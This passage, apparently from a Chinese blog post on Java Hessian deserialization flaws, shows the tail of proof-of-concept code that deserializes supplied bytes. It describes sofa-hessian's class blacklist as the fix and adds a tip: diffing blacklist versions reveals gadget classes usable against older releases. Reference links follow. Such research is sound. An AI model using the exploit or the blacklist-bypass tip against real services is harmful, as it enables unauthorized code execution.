ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
hessian2Input.readObject();
}
}

漏洞修复

Hessian 的全版本都受到上面的影响,因此阿里推出了全新 sofa-hessian 。主要的改进是增加了反序列化的黑名单。

https://github.com/sofastack/sofa-hessian/blob/master/src/main/resources/security/serialize.blacklist

再次用 Romepoc 会报错:

目前 sofa-hessian 的最新版本是 4.0.4 ,如果遇到了这个版本之前的环境,可以通过 diff 不同版本的黑名单来分析可以用什么类。

参考文章

https://www.cnblogs.com/LittleHann/p/17818994.html
https://h0cksr.xyz/archives/1327
https://www.cnblogs.com/nice0e3/p/15692979.html#%E8%B0%83%E7%94%A8%E6%A0%88-1
http://www.mi1k7ea.com/2020/01/25/Java-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/